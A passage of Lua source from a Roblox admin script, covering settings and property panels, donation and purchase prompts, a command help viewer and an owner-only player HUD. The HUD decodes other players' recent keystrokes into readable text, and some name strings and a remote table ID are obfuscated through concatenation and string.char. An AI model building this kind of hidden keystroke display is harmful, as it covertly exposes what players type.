  4251.                         if tonumber(ImageIcon) then
  4252.                             ImageIcon = "rbxassetid://"..ImageIcon
  4253.                         elseif Icons[ImageIcon] then
  4254.                             ImageIcon = "rbxassetid://"..Icons[ImageIcon]
  4255.                         end
  4256.                        
  4257.                         Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
  4258.                         local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
  4259.                         local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
  4260.                         Content.Text = ""
  4261.                         NumPos = NumPos + 90
  4262.                     else
  4263.                         NumPos = NumPos + 30
  4264.                     end
  4265.                    
  4266.                     if not Clickable then
  4267.                         Content.AutoButtonColor = false
  4268.                         Content.Active = false
  4269.                         Content.BackgroundTransparency = 1
  4270.                     elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
  4271.                         SOUND:BindButton(Content)
  4272.                         CORE:HandleEvent(Content, "MouseButton1Down", function()
  4273.                             if not InDialog then
  4274.                                 Clicked:Fire(String)
  4275.                             end
  4276.                         end, true)
  4277.                     end
  4278.                     if Spacer == false then Num = Num + 1 end
  4279.                 end
  4280.             end
  4281.         end
  4282.         Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
  4283.         ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
  4284.     end
  4285.    
  4286.     RequestDialog.OnInvoke = function(RequestDialogCall)
  4287.         InDialog = RequestDialogCall
  4288.     end
  4289.    
  4290.     ShowResults(PreSearch)
  4291.    
  4292.     local RPR = CORE:CreateRemotePropertyReader(SearchBar)
  4293.     CORE:HandleEvent(SearchBar, "Changed", function(Prop)
  4294.         if Prop == "Text" then
  4295.             local Text = CORE:ReadProperty(RPR, Player, "Text")
  4296.             ShowResults(Text)
  4297.             Frame.CanvasPosition = Vector2.new(0,0)
  4298.         end
  4299.     end)
  4300.    
  4301.     return Clicked, RequestDialog, Close
  4302. end
  4303.  
  4304. function GUI:PropertyGui(Player, Title, Icon, Properties)
  4305.     if not Player then return nil end
  4306.     if not Player:FindFirstChild("PlayerGui") then return nil end
  4307.     if type(Properties) ~= "table" then return nil end
  4308.     local HasClosed = false
  4309.     local NewProperties = {}
  4310.    
  4311.     local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
  4312.     Frame.ClipsDescendants = true
  4313.     local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
  4314.    
  4315.     for PropertyName,Data in pairs(Properties) do
  4316.         NewProperties[PropertyName] = Data[1]
  4317.     end
  4318.    
  4319.     local YCount = 0
  4320.    
  4321.     for PropertyName,Data in pairs(Properties) do
  4322.         if type(Data) == "table" then
  4323.             local DefaultValue = Data[1]
  4324.             local Writable = Data[2]
  4325.             local ValueType = Data[3]
  4326.            
  4327.             if Writable == nil then Writable = false end
  4328.             if type(ValueType) == "string" then -- now this is confusing
  4329.                 ValueType = string.lower(ValueType)
  4330.             elseif ValueType == nil then
  4331.                 ValueType = type(DefaultValue)
  4332.             end
  4333.            
  4334.             if ValueType == "nil" or ValueType == "userdata" then
  4335.                 ValueType = nil
  4336.             elseif ValueType == "table" then
  4337.                 DefaultValue = STRING:UnpackArgs(DefaultValue)
  4338.                 ValueType = "string"
  4339.             end
  4340.            
  4341.             if ValueType then
  4342.                 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
  4343.                 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
  4344.                 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
  4345.                
  4346.                 if ValueType == "string" or ValueType == "number" then
  4347.                     if Writable == true then
  4348.                         local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
  4349.                         CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
  4350.                             if ValueType == "number" then
  4351.                                 NewProperties[PropertyName] = tonumber(Input.Text)
  4352.                             else
  4353.                                 NewProperties[PropertyName] = tostring(Input.Text)
  4354.                             end
  4355.                         end end)
  4356.                     else
  4357.                         local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
  4358.                     end
  4359.                 end
  4360.                 if ValueType == "boolean" then
  4361.                     local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
  4362.                     if DefaultValue == true then
  4363.                         Check.Image = "rbxassetid://48138491"
  4364.                     end
  4365.                     if Writable == true then
  4366.                         CORE:HandleEvent(Check, "MouseButton1Down", function()
  4367.                             local NewVal = not NewProperties[PropertyName]
  4368.                             NewProperties[PropertyName] = NewVal
  4369.                             if NewVal == true then
  4370.                                 Check.Image = "rbxassetid://48138491"
  4371.                             else
  4372.                                 Check.Image = "rbxassetid://48138474"
  4373.                             end
  4374.                         end)
  4375.                     else
  4376.                         Check.ImageTransparency = 0.5
  4377.                     end
  4378.                 end
  4379.                 YCount = YCount + 50
  4380.             end
  4381.         end
  4382.     end
  4383.    
  4384.     Frame.CanvasSize = UDim2.new(0,0,0,YCount)
  4385.  
  4386.     Closed.Event:connect(function() HasClosed = true end)
  4387.    
  4388.     repeat wait(0.1) until HasClosed
  4389.     return NewProperties
  4390. end
  4391.  
  4392. function GUI:SettingsGui(Player)
  4393.     if not Player then return nil end
  4394.     local CloneViewSettings,CanChange = {},false
  4395.    
  4396.     local ViewSettings = {
  4397.         ["Version"] = {CORE.Version.Value, false, nil};
  4398.         ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
  4399.         ["Font"] = {Settings.Font, 3, "Font"};
  4400.         ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
  4401.         ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
  4402.         ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
  4403.         ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
  4404.         ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
  4405.         ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
  4406.         ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
  4407.         ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
  4408.         ["Group ID"] = {Settings.GroupID, false, "GroupID"};
  4409.         ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
  4410.         ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
  4411.         ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
  4412.         ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
  4413.         ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
  4414.         ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
  4415.         ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
  4416.         ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
  4417.         ["Bet"] = {Settings.Bet, 3, "Bet"};
  4418.     }
  4419.    
  4420.     local _,RankNum = RANK:GetRank(Player)
  4421.     if RankNum >= 3 then
  4422.         CanChange = true
  4423.     end
  4424.    
  4425.     for Prop,Data in pairs(ViewSettings) do
  4426.         local Writable = false
  4427.         if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
  4428.         CloneViewSettings[Prop] = {Data[1], Writable}
  4429.     end
  4430.    
  4431.     local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
  4432.     if CanChange then
  4433.         for Prop,Data in pairs(ViewSettings) do
  4434.             if Data[3] then
  4435.                 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
  4436.             end
  4437.         end
  4438.         CORE:FixSettings()
  4439.     end
  4440. end
  4441.  
  4442. function GUI:MessageAdmins(TitleText, BodyText, Icon)
  4443.     for _,Player in pairs(Server.Players:GetPlayers()) do
  4444.         local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
  4445.         if PlayerAdmin then
  4446.             GUI:SendMessage(Player, TitleText, BodyText, Icon)
  4447.         end
  4448.     end
  4449. end
  4450.  
  4451. function GUI:TellAdmin(Player)
  4452.     if not Player then return end
  4453.    
  4454.     local ValidAdmin,Rank = RANK:IsAdmin(Player)
  4455.     if ValidAdmin == true then
  4456.         GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
  4457.         if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
  4458.             local SoundID = 237866523
  4459.             if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
  4460.             local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
  4461.             Sound:Play()
  4462.             coroutine.wrap(function()
  4463.                 wait(4)
  4464.                 Sound:Stop()
  4465.                 Sound:Destroy()
  4466.             end)()
  4467.         end
  4468.     end
  4469. end
  4470.  
  4471. function GUI:TellNotAdmin(Player)
  4472.     if not Player then return end
  4473.    
  4474.     GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
  4475. end
  4476.  
  4477. function GUI:CreateTaskBar(Player)
  4478.     if not Player then return nil end
  4479.     if Settings.EnableTaskBar == false then return nil end
  4480.     Player:WaitForChild("PlayerGui")
  4481.     local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
  4482.     if SG then SG:Destroy() end
  4483.     SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
  4484.     local IsMoving = false
  4485.     local TaskBarShown = false
  4486.     local Tasks = {}
  4487.  
  4488.     local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
  4489.     local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
  4490.    
  4491.     local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
  4492.     local Open,CloseForm = false,nil
  4493.     if Settings.EnableAdminMenu then
  4494.         local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
  4495.         coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
  4496.             if Open == false then
  4497.                 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
  4498.                 Open,CloseForm = true,Close
  4499.                
  4500.                 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
  4501.                 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
  4502.                 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
  4503.                 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
  4504.                 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
  4505.                 local function DonateMoney(Type, Element)
  4506.                     local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
  4507.                     local Get = Request[Type]
  4508.                     if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
  4509.                         Server.MPS:PromptPurchase(Player, Get[1], true)
  4510.                     elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
  4511.                         Server.MPS:PromptPurchase(Player, Get[2], true)
  4512.                     elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
  4513.                         Server.MPS:PromptPurchase(Player, Get[3], true)
  4514.                     else
  4515.                         Element.Text = "Cannot get request"
  4516.                     end
  4517.                 end
  4518.                 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
  4519.                 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
  4520.                 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
  4521.                 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
  4522.                 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
  4523.                 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
  4524.                
  4525.                 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
  4526.                
  4527.                 if Closed then
  4528.                     Closed.Event:connect(function()
  4529.                         Open = false
  4530.                     end)
  4531.                 end
  4532.             else
  4533.                 CloseForm:Invoke()
  4534.             end
  4535.         end) end)()
  4536.         if RANK:GetRank(Player) == "Owner" then
  4537.             local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
  4538.             CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
  4539.                 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
  4540.                 if HUDSG then
  4541.                     HUDSG:Destroy()
  4542.                 else
  4543.                     GUI:CreateHUD(Player)
  4544.                 end
  4545.             end)
  4546.         end
  4547.     end
  4548.    
  4549.     CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
  4550.         if IsMoving == false then
  4551.             if TaskBarShown == true then
  4552.                 TaskBarShown = false
  4553.                 IsMoving = true
  4554.                 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
  4555.             else
  4556.                 TaskBarShown = true
  4557.                 IsMoving = true
  4558.                 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
  4559.             end
  4560.         end
  4561.     end)
  4562.    
  4563.     local function ReloadIcons()
  4564.         for Num,Data in pairs(Tasks) do
  4565.             Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
  4566.         end
  4567.     end
  4568.    
  4569.     AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
  4570.         local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
  4571.         table.insert(Tasks, {Form, Icon})
  4572.         local CanClick = true
  4573.         CORE:HandleEvent(Icon, "MouseButton1Down", function()
  4574.             if Form.IsActive.Value == false then
  4575.                 Restore:Invoke()
  4576.             elseif CanClick == true then
  4577.                 coroutine.wrap(function()
  4578.                     CanClick = false
  4579.                     local DefPos = Form.Dragger.Position
  4580.                     for i = 1,15 do
  4581.                         Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
  4582.                         wait(0.05)
  4583.                     end
  4584.                     Form.Dragger.Position = DefPos
  4585.                     CanClick = true
  4586.                 end)()
  4587.             end
  4588.         end)
  4589.         ReloadIcons()
  4590.        
  4591.         Closed.Event:connect(function()
  4592.             for Num,Data in pairs(Tasks) do
  4593.                 if Data[1] == Form then
  4594.                     Icon:Destroy()
  4595.                     table.remove(Tasks, Num)
  4596.                 end
  4597.             end
  4598.             ReloadIcons()
  4599.         end)
  4600.     end)
  4601. end
  4602.  
  4603. function GUI:ShowDebtStats(Player, ManualText)
  4604.     local Text = ManualText
  4605.     if not ManualText then
  4606.         Text = "CANNOT GET STATISTICS"
  4607.         local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
  4608.         if RawPage then
  4609.             local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
  4610.             local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
  4611.             Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
  4612.         end
  4613.     end
  4614.    
  4615.     local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
  4616.     local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
  4617.    
  4618.     return Text
  4619. end
  4620.  
  4621. function GUI:ShowCommand(Player, CommandTrigger, Dialog)
  4622.     if not Player then return nil end
  4623.     if not CommandTrigger then return nil end
  4624.    
  4625.     if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
  4626.    
  4627.     local CommandKey = CommandTrigger
  4628.    
  4629.     if not Commands[CommandKey] then
  4630.         for CommandNames,_ in pairs(Commands) do
  4631.             for _,CommandName in pairs(CommandNames) do
  4632.                 if CommandName == CommandKey then
  4633.                     CommandKey = CommandNames
  4634.                 end
  4635.             end
  4636.         end
  4637.     end
  4638.    
  4639.     local CommandData = Commands[CommandKey]
  4640.    
  4641.     local BodyText = "No valid command has been entered"
  4642.     local TitleText = "Error"
  4643.     local CanExe = false
  4644.     if CommandData then
  4645.         if Dialog then
  4646.             Dialog:Invoke(true)
  4647.         end
  4648.         local PlayerRank = RANK:GetRank(Player)
  4649.         if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
  4650.         if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
  4651.        
  4652.         TitleText = "Command: "..CommandKey[1]
  4653.         BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
  4654.  
  4655.  
  4656. Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
  4657.  
  4658.  
  4659. Description: ]]..CommandData[2]..[[
  4660.  
  4661.  
  4662. Arguments: ]]..CommandData[3]..[[
  4663.  
  4664.  
  4665. Minimum rank needed: ]]..CommandData[4]..[[
  4666.  
  4667.  
  4668. Fun command: ]]..STRING:BoolString(CommandData[5])..[[
  4669.  
  4670.  
  4671. Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
  4672.  
  4673.  
  4674. Http Command ]]..STRING:BoolString(CommandData.Http)
  4675.     end
  4676.    
  4677.     _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
  4678.     if Dialog then
  4679.         Closed.Event:connect(function() Dialog:Invoke(false) end)
  4680.         Minimized.Event:connect(function() Dialog:Invoke(false) end)
  4681.     end
  4682. end
  4683.  
  4684. function GUI:CreateHUD(Speaker)
  4685.     if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
  4686.    
  4687.     local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
  4688.     if SG then SG:Destroy() end
  4689.     SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
  4690.    
  4691.     local function AddHUD(Player, Char)
  4692.         if not Char or not Char:FindFirstChild("Head") then return nil end
  4693.        
  4694.         local Rank = RANK:GetRank(Player)
  4695.         local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
  4696.         local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
  4697.         local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
  4698.         local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
  4699.         local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
  4700.         coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
  4701.             InfoLabel.Text = "Name: "..Player.Name..[[
  4702. Rank: ]]..RANK:GetRank(Player)..[[
  4703. Age: ]]..STRING:FindAge(Player.AccountAge)
  4704.             if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
  4705.                 InfoLabel.Text = InfoLabel.Text..[[
  4706. Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
  4707.             end
  4708.             if LastKeys[Player.UserId] then
  4709.                 local Keys = ""
  4710.                 local KeyLog = {}
  4711.                 for _,KeyData in pairs(LastKeys[Player.UserId]) do
  4712.                     table.insert(KeyLog, KeyData[1])
  4713.                     if KeyData[2] == 8 then
  4714.                         Keys = string.sub(Keys, 1, #Keys - 1)
  4715.                     elseif KeyData[2] == 13 then
  4716.                         Keys = Keys.." "
  4717.                     else
  4718.                         Keys = Keys..string.char(KeyData[2])
  4719.                     end
  4720.                 end
  4721.                 KeyLabel.Text = table.concat(KeyLog, "\n")
  4722.                 KeyOutput.Text = Keys
  4723.             end
  4724.             HUD.Image = "rbxassetid://"..RankHUD[Rank]
  4725.         end end)()
  4726.        
  4727.         local CharRev,Removing = nil,nil
  4728.         CharRev = Player.CharacterRemoving:connect(function()
  4729.             PlayerHUD:Destroy()
  4730.             CharRev:disconnect()
  4731.             Removing:disconnect()
  4732.         end)
  4733.         Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
  4734.             PlayerHUD:Destroy()
  4735.             CharRev:disconnect()
  4736.             Removing:disconnect()
  4737.         end end)
  4738.     end
  4739.    
  4740.     local function ConnectHUD(Player)
  4741.         if Player ~= Speaker then
  4742.             if Player.Character then
  4743.                 AddHUD(Player, Player.Character)
  4744.             end
  4745.            
  4746.             Player.CharacterAdded:connect(function(Char)
  4747.                 if Speaker then
  4748.                     AddHUD(Player, Char)
  4749.                 else return nil
  4750.                 end
  4751.             end)
  4752.         end
  4753.     end
  4754.    
  4755.     for _,Player in pairs(Server.Players:GetPlayers()) do
  4756.         ConnectHUD(Player)
  4757.     end
  4758.    
  4759.     Server.Players.PlayerAdded:connect(ConnectHUD)
  4760. end
  4761.  
